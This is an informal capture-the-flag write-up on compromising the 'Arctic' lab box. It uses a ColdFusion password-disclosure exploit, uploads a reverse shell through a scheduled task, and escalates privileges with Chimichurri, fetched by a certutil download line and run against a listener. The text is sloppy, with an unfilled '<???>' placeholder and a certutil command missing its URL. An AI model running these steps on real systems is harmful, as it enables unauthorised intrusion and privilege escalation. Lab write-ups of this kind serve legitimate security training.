Arctic was an easy one that i wont forget due to how certain exploits are used.


Port scanning shows port 5800 is open serving coldfusion Some directory bruteforcing returns CFIDE which will be our admin endpoint.

Pwning the webapp

Searching exploit-db, we find a suitable exploit that may assist in getting into the coldfusion admin panel. Exploit 14641 does some amazing things, it will retrieve the password hash of the admin/user of the panel and inject it into the html of the login form! From this we get the password of ‘happyday’. From there, gaining a reverse shell through coldfusion is fairly stock standard. Setup a scheduled task with an upload and output file with a web directory then upload a shell. Run the task and navigate to the saved directory with a listener to gain a shell as arctic\tolis

Gaining root

Running ‘systeminfo’ on the box shows us theres no hotfixes installed and its not a brand new os. This particular box shows signs of being vulnerable to <???>. Download the Chimchurri exploit from github. Use a method of file transfer on windows like the following to recieve the file.

<run webserver to host file>
certutil -urlcache -split -f churr.exe
<execute exploit when new listener is running>
churr.exe 443

Thats it ! quick and easy root for arctic. 14641 is still one of the simplest and most effective exploits ive seen.